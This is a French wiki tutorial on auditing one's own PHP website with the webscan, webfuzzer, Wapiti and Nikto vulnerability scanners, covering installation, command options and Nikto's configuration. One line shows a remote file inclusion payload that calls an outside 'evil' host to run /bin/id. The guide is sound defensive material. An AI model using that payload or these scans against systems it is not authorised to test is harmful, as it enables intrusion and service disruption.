Outils pour utilisateurs

Outils du site


informatique:auditer_son_site_web_sans_mettre_ses_mains_dans_le_cambouis

Auditer son site web sans mettre ses mains dans le cambouis

Introduction:

Vous avez decidé d'etoffer votre site web, ou bien de le creer, en y ajoutant du contenu dynamique ,à l'aide de scripts php et malheureusement parfois il vous manque les competences ou du temps pour evaluer les risques securitaires de vos extensions . Ce tutorial a pour but de vous presenter des utilitaires qui en examinant les differentes failles que l'on trouve actuellement sur le web, vont vous faciliter la vie ,et vous eviter peut-etre une intrusion dommageable Css, injection de code sql , faille include ,les dangers sont multiples et on est jamais à l'abri d'une erreur de programmation .Voici donc le premier de ces outils , webscan.

Webscan

Webscan est un testeur de site web qui verifie des vulnerabilites telles que l'injection sql, le cross site scripting, l'execution de code depuis une machine distante, une remontee des repertoires, des inclusions php, des shell escapes et appels en perl open(). L'archive se telecharge ici : http://www.packetstormsecurity.nl/web/index6.html Je n'ai pas trouve ce jour de paquetage rpm pour mandriva , il va donc falloir le compiler ,ce qui n'est pas bien difficile Une fois votre archive placee dans /usr/local , qui est le repertoire dans lequel j'installe les programmes diponibles pour tous mes utilisateurs, en root et en console saisissez:

gunzip webscan-0.1.0.tar.gz tar xvf webscan-0.1.0.tar cd webscan-0.1.0

Jetez un coup d'oeil dans les fichiers technic.h et webscan.h afin d'ajouter ou d'adapter un schema d'attaque, et ensuite compilez en faisant make Ne tenez pas compte de Warnings ,le code compile sans probleme sur ma mandriva 2007 x86_64 AMD Athlon™ 64 Processor 3700+ GNU/Linux Ensuite il s'agit de tester les vulnerabilites de votre site : Ainsi que le mentionne le fichier README , les options a rajouter sont :

  1. s verifie les erreurs sql, asp, vb, php (par defaut)
  2. d verifie les traversees de repertoire
  3. p verifie les vulnerabilites perl comme open ou xss
  4. e verifie les executions comme les shell escapes ou xss
  5. a active tous les choix precedents

./webscan www.example.com -o logfile.txt -a Une fois votre scan effectue, r�uperez le resultat dans le fichier logfile.txt que vous ouvrirez avec l'editeur de votre choix .Chaque vulnerabilites possedent son correctif : Par exemple si vous obtenez un avertissement du style : « Warning: Failed opening 'foo.php' for inclusion » getting http://www.example.com/index.php?z=foo vous savez qu'il est possible d'appeler depuis un site web exterieur ,un fichier malicieux que vous appelerez avec un http://www.example.com/index.php?z=http://www.yourserver.com/evil?cmd=/bin/id

Webfuzzer

Webfuzzer est un scanner de type webscan orientïe application, scannant les scripts perl, php, asp, cgi. Il peut etre telecharge ici : http://gunzip.altervista.org/g.php?f=projects#webfuzzer Et se compile aussi : gunzip webfuzzer-latest.tar.gz tar xvf webfuzzer-latest.tar cd devel

Jetez un coup d'oeil dans les fichiers technic.h et webfuzzer.h afin d'ajouter ou d'adapter un schema d'attaque, et ensuite compilez en faisant make Et testez enfin avec la commande : ./webfuzzer -G www.exemple.com -o logfile.txt -a ou l'option G correspond à un scan d'url depuis son commencement , l'option a prenant en compte comme pour l'outil precedent toutes les vulnerabilites. Le resultat du scan sera disponible dans le fichier logfile.txt

Wapiti

Wapiti est aussi un scanner de pages web qui recherche parmis les applications, les scripts et les formulaires, les types de vulnerabilites suivants :

  • Erreur dans les traitements de fichier

(include/require en local ou depuis l'exterieur, fopen, readfile…)

  • Injections dans les bases de donnees (PHP/JSP/ASP SQL)
  • Injections XSS (Cross Site Scripting)
  • Injection LDAP
  • Detection de commandes d'execution systeme

(eval(), system(), passtru()…)

  • Injections CRLF

Wapiti est developpé en Python mais la librairie lswww n'analyse que les pages web correctement construites donc il vous faudra installer des applications complementaires :

  • HTML Tidy Library
  • ctypes module
  • uTidylib - Tidylib Python wrapper

Tidy s'installe via urpmi avec des sources à jour: en root saisir urpmi tidy Faites de meme pour ctypes et uTidyLib: urpmi ctypes urpmi uTidyLib

En revanche ,je n'ai pas trouve de rpm disponible pour wapiti ,donc nous allons compiler Wapiti se telecharge ici :http://sourceforge.net/projects/wapiti/ Dans votre /usr/local et en root faites : gunzip wapiti-1.1.6.tar.gz tar xvf wapiti-1.1.6.tar cd wapiti-1.1.6

Lancer maintenant une verification sur votre serveur python wapiti.py http://server.com/ ou sur vos bases python wapiti.py http://server.com/base/url/ Un exemple en recuperant les cookies du site vulnerable et en le scannant : http://wapiti.sourceforge.net/example.txt Je precise que cette methode et d'autres n'ont donne aucun resultat sur www.linux-pour-lesnuls.com, merci de pas essayer de scanner le site en question.

Nikto

Nikto est aussi un scanner de failles mais sur une plus vaste echelle : 3300 fichiers et scripts potentiellement dangereux sont passes au crible .IL genere beaucoup de requetes et peut de ce fait , rendre indisponible votre serveur Nikto peut etre mis à jour en utilisant l'option update , afin de rechercher les dernieres vulnerabilites. Les options de Nikto sont disponibles à la page http://www.cirt.net/nikto/README_nikto.html Il s'installe tres facilement avec un urpmi nikto en console et en root Pour un scan basique de votre serveur web sur le port 80 nikto -h www.votresite.com Un scan de plusieurs ports sur le serveur nikto -h www.votresite.com -p 80-90 Un scan de ports particuliers de votre systeme . nikto -h www.votresite.com -p 80,443,8000,8080 Le fichier de configuration de Nikto se trouve dans /etc/nikto et se nomme nikto.conf parcourons-le plus avant :

La ligne CLIOPTS permet de fixer des options de scan une fois pour toute, vous pouvez donc scanner a votre facon (exemple -g) en decommentant la ligne et enlevant le -a final. La ligne NMAP vous permet d'utiliser nmap et la ligne SKIPPORTS permet d'eviter de scanner certains ports. La ligne DEFAULTHTTPVER permet le choix de la version HTTP. On peut passer par un proxy en decommentant les lignes PROXY. Les lignes @CGIDIRS fixent le repertoire CGI par defaut . Les parametres MUTATE augmentent le temps de scan de Nikto. Les lignes @MUTATEDIRS indiquent quels repertoires scanner La ligne @ADMINDIRS vous permet de fixer des repertoires admin . La ligne @USERS est utile quand elle tente de deviner le nom des utilisateurs et des repertoires HTML d'une cible .

D'autres scanners

informatique/auditer_son_site_web_sans_mettre_ses_mains_dans_le_cambouis.txt · Dernière modification : 2022/04/10 17:12 de 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki